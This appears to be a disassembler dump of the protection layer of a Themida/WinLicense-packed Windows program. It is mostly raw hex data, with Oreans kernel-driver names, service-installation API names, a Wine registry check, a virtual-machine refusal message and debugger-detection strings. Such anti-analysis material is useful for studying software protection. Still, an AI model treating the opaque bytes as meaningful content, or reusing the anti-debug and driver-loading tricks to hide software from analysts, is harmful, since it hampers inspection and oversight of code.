		dd 0A52EBE03h, 6A7D92h,	89036AFCh, 0E41C4D95h, 71106807h
		dd 50BF5A8Fh, 813FD562h, 8EF02404h, 8D236570h, 7E40401h
		dd 0DC9F9D8Dh, 0BD8907E6h, 7E40E59h, 840F5393h,	6, 310F5250h
		dd 505F585Ah, 66525057h, 0F5E14BFh, 5A5A5731h, 6A935F58h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 4C86C352h, 0CC0F2077h, 8AD843D8h,	0F0B70FD7h
		dd 11E9D0FFh, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h
		dd 59694915h, 20850F40h, 60000000h, 15D1858Bh, 953107E4h
		dd 7E409A5h, 618D8B61h,	5807E423h, 152E9h, 0FD8D0100h
		dd 8B07E409h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D1C1DF1Bh, 6FD0733Ah, 0C0BA664Bh
		dd 6A585Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 60D229C3h, 0C3AC2D3Bh, 2C2D85C6h,	8B4307E4h
		dd 0E4002595h, 0BC086807h, 0FE8CAC0h, 1000000h,	0B063842Ch
		dd 75FE2723h, 57C8762Dh, 52500BBBh, 0C414BA66h,	8B66310Fh
		dd 5A585AF0h, 0AF243481h, 600AB6F6h, 14DD9589h,	860F07E4h
		dd 6, 19B5BD8Bh, 0FF6107E4h, 0E4019DB5h, 7E907h, 5CFA0000h
		dd 43F9DB61h, 0DC858D8Bh, 2907E43Bh, 0E422418Dh, 6AD0FF07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7199C350h, 93A6E404h, 38E0Fh, 8B660000h
		dd 29B250F9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 1A732439h, 8E95759h, 15000000h, 0F3275EFBh
		dd 5F2D1F9Dh, 7333CE81h, 0D0FF266Eh, 2B35B529h,	9D8D07E4h
		dd 7E472B7h, 88D0Fh, 880F0000h,	2, 1B88CB5h, 8B000000h
		dd 0FFF18AF1h, 11B58BE3h, 8B07E40Ah, 0C08BF5C1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5CC35040h, 32D4162Ah
		dd 0C9604BBh, 0D6C281FCh, 837567C9h, 0E413F1BDh, 9750007h
		dd 935BD83h, 740007E4h,	8B535019h, 40FB8C0h, 85890000h
		dd 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h
		dd 50177400h, 40FB853h,	85890000h, 7E40EEDh, 0E6F89D8Dh
		dd 0D3FF07E6h, 9503585Bh, 7E41EF9h, 9159D89h, 8D8B07E4h
		dd 7E41CFDh, 10E8C08Bh,	0E5000000h, 0FE6AAF83h,	8CF035C2h
		dd 2B74CA20h, 8ABB048Eh, 12E95FC1h, 39000000h, 1C479D2Bh
		dd 8102D994h, 897B9476h, 2B551838h, 0ECC781C9h,	8B000071h
		dd 1C47BAF0h, 8D310000h, 7E41A35h, 8D8B37FFh, 7E4218Dh
		dd 850F505Bh, 6, 25D98D8Bh, 815907E4h, 73EE08C3h, 12E93Fh
		dd 9F050000h, 92163012h, 0C2979A10h, 0DFA00514h, 0E762B7Ch
		dd 0ADFCF381h, 0EA8A7E8Bh, 40EDEB81h, 0C18B0BEFh, 0BD891F89h
		dd 7E42489h, 0F04EF83h,	48Eh, 0BBE6600h, 1EA8354h, 25850Fh
		dd 9E90000h, 73000000h,	2C57A32Ah, 8F6AD602h, 22E9h, 8A53C000h
		dd 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 896B2314h, 0E405F9BDh
		dd 0FF6EE907h, 0BBA4FFFFh
aJGsk		db '†ΧGιͺ',0            ; DATA XREF: Themida_:00584914o
		align 4
aSoftwareWinlic	db 'Software\WinLicense',0
aCheckin	db 'CheckIN',0
aXprotexit	db 'XprotExit',0
aCheckout	db 'CheckOUT',0
aWinlicensevers	db 'WinLicenseVersion',0
aWinlicensedriv	db 'WinLicenseDriverVersion',0
aWinlicenseinst	db 'WinLicenseInstance',0
aExitok		db 'ExitOk',0
aProcin		db 'ProcIN',0
aProcout	db 'ProcOUT',0
aExitin		db 'ExitIN',0
aExitout	db 'ExitOUT',0
aTpin		db 'TpIN',0
		align 4
		dd 2 dup(0)
		dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 0E6E51385h
		dd 0F858D07h, 5007E6E5h, 0E479858Dh, 685007E6h,	80000001h
		dd 0E51F95FFh, 196A07E6h, 0E513B5FFh, 16A07E6h,	858D006Ah
		dd 7E6E4A8h, 0FB5FF50h,	0FF07E6E5h, 0E4256595h,	0FB5FF07h
		dd 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h
		dd 8589C307h, 7E6E513h,	0E50F858Dh, 8D5007E6h, 0E6E47985h
		dd 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h,	0E6E51385h
		dd 46A5007h, 858D006Ah,	7E6E4D2h, 0FB5FF50h, 0FF07E6E5h
		dd 0E4256595h, 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h
		dd 0FF07E6E5h, 0E4213595h, 8589C307h, 7E6E513h,	0E50F858Dh
		dd 8D5007E6h, 0E6E47985h, 1685007h, 0FF800000h,	0E6E51F95h
		dd 8D046A07h, 0E6E51385h, 46A5007h, 858D006Ah, 7E6E4BAh
		dd 0FB5FF50h, 0FF07E6E5h, 0E4256595h, 0FB5FF07h, 0FF07E6E5h
		dd 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 8589C307h
		dd 7E6E513h, 0E50F858Dh, 8D5007E6h, 0E6E47985h,	1685007h
		dd 0FF800000h, 0E6E51F95h, 8D046A07h, 0E6E51385h, 46A5007h
		dd 858D006Ah, 7E6E4E5h,	0FB5FF50h, 0FF07E6E5h, 0E4256595h
		dd 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h
		dd 0E4213595h, 8589C307h, 7E6E513h, 0E50F858Dh,	8D5007E6h
		dd 0E6E47985h, 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h
		dd 0E6E51385h, 46A5007h, 858D006Ah, 7E6E495h, 0FB5FF50h
		dd 0FF07E6E5h, 0E4256595h, 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h
		dd 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 0BD83C307h, 7E4169Dh
		dd 0B840F00h, 8B000000h, 0E4169D9Dh, 4CC38307h,	83C30389h
		dd 0E4169DBDh, 840F0007h, 0Bh, 169D9D8Bh, 0C38307E4h, 0C3038950h
		dd 169DBD83h, 0F0007E4h, 0B84h,	9D9D8B00h, 8307E416h, 38954C3h
		dd 9DBD83C3h, 7E416h, 0B840Fh, 9D8B0000h, 7E4169Dh, 8958C383h
		dd 0BD83C303h, 7E4169Dh, 0B840F00h, 8B000000h, 0E4169D9Dh
		dd 5CC38307h, 0C3C30389h, 13858960h, 8D07E6E5h,	0E6E50F85h
		dd 858D5007h, 7E6E479h,	16850h,	95FF8000h, 7E6E51Fh, 858D046Ah
		dd 7E6E513h, 6A046A50h,	0A858D00h, 5007E6E5h, 0E50FB5FFh
		dd 95FF07E6h, 7E42565h,	13F1BD83h, 0F0007E4h, 0C84h, 0FB5FF00h
		dd 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h
		dd 60C36107h, 0E5138589h, 858D07E6h, 7E6E50Fh, 79858D50h
		dd 5007E6E4h, 168h, 1F95FF80h, 6A07E6E5h, 13858D04h, 5007E6E5h
		dd 6A046Ah, 0E4EC858Dh,	0FF5007E6h, 0E6E50FB5h,	6595FF07h
		dd 8307E425h, 0E413F1BDh, 840F0007h, 0Ch, 0E50FB5FFh, 95FF07E6h
		dd 7E6E51Bh, 0E50FB5FFh, 95FF07E6h, 7E42135h, 8960C361h
		dd 0E6E51385h, 0F858D07h, 5007E6E5h, 0E479858Dh, 685007E6h
		dd 80000001h, 0E51F95FFh, 46A07E6h, 0E513858Dh,	6A5007E6h
		dd 8D006A04h, 0E6E4F385h, 0B5FF5007h, 7E6E50Fh,	256595FFh
		dd 0BD8307E4h, 7E413F1h, 0C840F00h, 0FF000000h,	0E6E50FB5h
		dd 1B95FF07h, 0FF07E6E5h, 0E6E50FB5h, 3595FF07h, 6107E421h
		dd 858960C3h, 7E6E513h,	0E50F858Dh, 8D5007E6h, 0E6E47985h
		dd 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h,	0E6E51385h
		dd 46A5007h, 858D006Ah,	7E6E4FBh, 0FB5FF50h, 0FF07E6E5h
		dd 0E4256595h, 0F1BD8307h, 7E413h, 0C840Fh, 0B5FF0000h
		dd 7E6E50Fh, 0E51B95FFh, 0B5FF07E6h, 7E6E50Fh, 213595FFh
		dd 0C36107E4h, 13858960h, 8D07E6E5h, 0E6E50F85h, 858D5007h
		dd 7E6E479h, 16850h, 95FF8000h,	7E6E51Fh, 858D046Ah, 7E6E513h
		dd 6A046A50h, 2858D00h,	5007E6E5h, 0E50FB5FFh, 95FF07E6h
		dd 7E42565h, 13F1BD83h,	0F0007E4h, 0C84h, 0FB5FF00h, 0FF07E6E5h
		dd 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 60C36107h
		dd 0E51385C7h, 107E6h, 858D0000h, 7E6E50Fh, 79858D50h
		dd 5007E6E4h, 268h, 1F95FF80h, 0B07E6E5h, 0F840FC0h, 0C7000000h
		dd 0E6E51385h, 7, 4DE900h, 46A0000h, 0E513858Dh, 6A5007E6h
		dd 8D006A04h, 0E6E48D85h, 0B5FF5007h, 7E6E50Fh,	256595FFh
		dd 0C00B07E4h, 0F840Fh,	85C70000h, 7E6E513h, 0
		dd 0AE9h, 1385C700h, 107E6E5h, 0FF000000h, 0E6E50FB5h
		dd 3595FF07h, 6107E421h, 0E513858Bh, 60C307E6h,	0E5138589h
		dd 858D07E6h, 7E6E50Fh,	79858D50h, 5007E6E4h, 168h, 1F95FF80h
		dd 6A07E6E5h, 13858D04h, 5007E6E5h, 6A046Ah, 0E48D858Dh
		dd 0FF5007E6h, 0E6E50FB5h, 6595FF07h, 8307E425h, 0E413F1BDh
		dd 840F0007h, 0Ch, 0E50FB5FFh, 95FF07E6h, 7E6E51Bh, 0E50FB5FFh
		dd 95FF07E6h, 7E42135h,	8960C361h, 0E6E51385h, 0F858D07h
		dd 5007E6E5h, 0E479858Dh, 685007E6h, 80000001h,	0E51F95FFh
		dd 46A07E6h, 0E513858Dh, 6A5007E6h, 8D006A04h, 0E6E49F85h
		dd 0B5FF5007h, 7E6E50Fh, 256595FFh, 0BD8307E4h,	7E413F1h
		dd 0C840F00h, 0FF000000h, 0E6E50FB5h, 1B95FF07h, 0FF07E6E5h
		dd 0E6E50FB5h, 3595FF07h, 6107E421h, 2D85C6C3h,	5207E42Ch
		dd 0E47B0768h, 0E1B5FFADh, 0FF07E40Dh, 0E41E3995h, 1F858907h
		dd 0C607E6E5h, 0E42C2D85h, 0E5685207h, 0FF902E00h, 0E40DE1B5h
		dd 3995FF07h, 8907E41Eh, 0E6E51B85h, 2D85C607h,	5207E42Ch
		dd 0BF123568h, 0E1B5FFB9h, 0FF07E40Dh, 0E41E3995h, 65858907h
		dd 0C607E425h, 0E42C2D85h, 34685207h, 0FF987810h, 0E40DE1B5h
		dd 3995FF07h, 8907E41Eh, 0E4213585h, 2D85C607h,	5207E42Ch
		dd 5DBD468h, 0E1B5FFC0h, 0FF07E40Dh, 0E41E3995h, 0F9858907h
		dd 0E907E401h, 20Eh, 6E614333h,	20746F6Eh, 74697277h, 726F2065h
		dd 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h
		dd 74616874h, 69687420h, 69662073h, 6920656Ch, 6F6E2073h
		dd 65622074h, 20676E69h, 64657375h, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 68h	dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E42C2D85h, 86684707h, 0FFE3E45Bh
		dd 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 10468D0h, 9D8D0000h
		dd 7E416BDh, 50D0FF53h,	0ED51B58Dh, 0FE8B07E6h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 2C2D85C6h
		dd 684307E4h, 0BC8E6EFCh, 19DB5FFh, 858D07E4h, 7E43BDCh
		dd 0B58DD0FFh, 7E416BDh, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E42C2D85h, 56685707h
		dd 0FFA69BEEh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 35BD8DD0h
		dd 8D07E401h, 0E6EE778Dh, 57006A07h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 59B58D00h,	8D07E6EBh, 0E6DBD685h
		dd 8DD0FF07h, 0E472B78Dh, 0B807h, 0E1FF0000h, 2C2D85C6h
		dd 684307E4h, 0C0764AA7h, 19DB5FFh, 858D07E4h, 7E43BDCh
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h
		db 73h,	52h
a2vsr3vsr	db '2vsR3vsR',0         ; DATA XREF: Themida_:0058249Co
		align 4
		dd 9C3h	dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 14E80000h
		dd 42000000h, 0DB83711Eh, 0D1D316A3h, 5CC84554h, 935F56Fh
		dd 662025D0h, 8FF5E281h, 3A33BE59h, 0C18168ACh,	6402h
		dd 438CBE66h, 0B6C02Bh,	800834FFh, 0E85F3FD2h, 9, 53C924Ah
		dd 1873E2D8h, 5AF18BC6h, 6932C781h, 0F78B0719h,	1A95F781h
		dd 81660B8Dh, 817398DBh, 0E8DD05F7h, 3C89F959h,	0D1BB6601h
		dd 0C2816629h, 0E883DC1Ch, 8E902h, 65CA0000h, 0D74BB03Bh
		dd 484802F2h, 6CA5BE66h, 9CB0F881h, 850FFFFFh, 0FFFFFFA0h
		dd 12E8h
		db 0
byte_5B4B69	db 32h,	0CAh, 0EEh	; DATA XREF: Themida_:005826D0o
					; Themida_:00582C4Co ...
		dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 56296570h, 0AE9h
		dd 83CE2800h, 0FCFF4C8Eh, 5B5BF03Ah, 99E95Bh, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 0E72787BDh, 840F0007h, 0Ah, 93585C7h, 107E4h
		dd 85C60000h, 7E42C2Dh,	2DB16847h, 3481C6DFh, 0B2413C24h
		dd 9DB5FF56h, 8D07E401h, 0E43BDC85h, 0FFD0FF07h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h
		dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E3E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C6E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 7E72707h, 225E8h
		dd 9CBD0300h, 8307E727h, 0E7279CBDh, 840F0007h,	0Bh, 13F185C7h
		dd 107E4h, 8DC30000h, 0E72712B5h, 1FCE807h, 0BD030000h
		dd 7E7279Ch, 279CBD83h,	0F0007E7h, 0B84h, 3585C700h, 107E409h
		dd 0C3000000h, 278BB58Dh, 0D3E807E7h, 3000001h,	0E7279CBDh
		dd 9CBD8307h, 7E727h, 0B840Fh, 85C70000h, 7E41289h, 1
		dd 1CB58DC3h, 0E807E727h, 1AAh,	279CBD03h, 0BD8307E7h
		dd 7E7279Ch, 0B840F00h,	0C7000000h, 0E4093585h,	107h, 0B58DC300h
		dd 7E72726h, 181E8h, 9CBD0300h,	8307E727h, 0E7279CBDh
		dd 840F0007h, 15h, 93585C7h, 107E4h, 85C70000h,	7E413F1h
		dd 1, 34B58DC3h, 0E807E727h, 14Eh, 279CBD03h, 0BD8307E7h
		dd 7E7279Ch, 0A840F00h,	0C7000000h, 0E42D7D85h,	107h, 3EB58D00h
		dd 0E807E727h, 126h, 279CBD03h,	0BD8307E7h, 7E7279Ch, 0A840F00h
		dd 0C7000000h, 0E42D7D85h, 107h, 49B58D00h, 0E807E727h
		dd 0FEh, 279CBD03h, 0BD8307E7h,	7E7279Ch, 0A840F00h, 0C7000000h
		dd 0E4261185h, 107h, 4FB58D00h,	0E807E727h, 0D6h, 279CBD03h
		dd 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h,	0E4005D85h
		dd 107h, 55B58D00h, 0E807E727h,	0AEh, 279CBD03h, 0BD8307E7h
		dd 7E7279Ch, 0A840F00h,	0C7000000h, 0E42EE585h,	107h, 63B58D00h
		dd 0E807E727h, 86h, 279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h
		dd 0C7000000h, 0E4241985h, 107h, 70B58D00h, 0E807E727h
		dd 5Eh,	279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h
		dd 0E40ECD85h, 107h, 7BB58D00h,	0E807E727h, 36h, 279CBD03h
		dd 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h,	0E41F2585h
		dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1FE9DE8Bh, 80000000h,	850F003Fh, 5, 0B9h
		dd 38178A00h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 7E7279Ch, 0AE9h,	9C85C700h
		dd 7E727h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 7E42D7Dh, 0
		dd 0B7E9C88Bh, 41000010h, 50415644h, 2E323349h,	4C4C44h
		dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h
		dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h
		dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h
		dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h
		dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h
		dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch
		dd 65636976h, 8	dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h
dword_5B5FD0	dd 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
					; DATA XREF: Themida_:00583D50o
					; Themida_:005856A4o
		dd 3220h, 1Dh dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 89D78B66h, 0E40AB985h, 0C9BD8B07h, 8B07E41Eh, 4EBF56C0h
		dd 5905CDCEh, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h
		dd 53501974h, 3DB8C08Bh, 89000004h, 0E4147985h,	0F09D8D07h
		dd 0FF07E6E9h, 83585BD3h, 0E40935BDh, 17740007h, 3DB85350h
		dd 89000004h, 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 0F5585BD3h
		dd 3069BD33h, 0C08B07E4h, 0E4D8509h, 0C08B07E4h, 3ED78166h
		dd 0F1BD832Ch, 7E413h, 0BD830975h, 7E40935h, 50137400h
		dd 0B8C08B53h, 0
		dd 0E8929D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50117400h
		dd 0B853h, 9D8D0000h, 7E6E743h,	585BD3FFh, 119589h, 9E807E4h
		dd 0C8000000h, 0F5BA0D85h, 3D2A4D92h, 199D958Bh, 8B5F07E4h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0FAA90101h, 0C08BF2A1h, 88E0Fh, 8E0F0000h
		dd 2, 11E95F56h, 5000000h, 6B584D48h, 152925ABh, 0B1077759h
		dd 0E13C8EB3h, 13F1BD83h, 750007E4h, 35BD8309h,	7E409h
		dd 53501374h, 0B8C08Bh,	8D000000h, 0E6E7C49Dh, 5BD3FF07h
		dd 35BD8358h, 7E409h, 53501174h, 0B8h, 119D8D00h, 0FF07E6E7h
		dd 6A585BD3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0A434C355h, 0F0FA9E3Fh, 53006A9Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7C2C5908h, 8BCDC766h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 42BE833Eh, 2A3A727h, 46BFC08Bh
		dd 835326FEh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 7E6E82Bh, 585BD3FFh, 935BD83h
		dd 740007E4h, 0B8535011h, 0
		dd 0E72A9D8Dh, 0D3FF07E6h, 820F585Bh, 3, 66D1B70Fh, 8BD9BEB9h
		dd 0E426E58Dh, 840F07h,	8B000000h, 0E8F0FC0h, 0E9000000h
		dd 9, 0C09C3287h, 0A35F4BB8h, 66C08BBAh, 834F17BAh, 0E413F1BDh
		dd 9750007h, 935BD83h, 740007E4h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 7E6E75Dh, 585BD3FFh,	6618D89h, 0F58A07E4h, 8D03C08Bh
		dd 7E42DE1h, 3E18D8Bh, 0C08B07E4h, 8890Fh, 81520000h, 4E8AD1F1h
		dd 0BD835F33h, 7E413F1h, 83097500h, 0E40935BDh,	19740007h
		dd 0C08B5350h, 7D0B8h, 79858900h, 8D07E414h, 0E6E9F09Dh
		dd 5BD3FF07h, 35BD8358h, 7E409h, 53501774h, 7D0B8h, 79858900h
		dd 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h, 9853158h, 0E907E425h
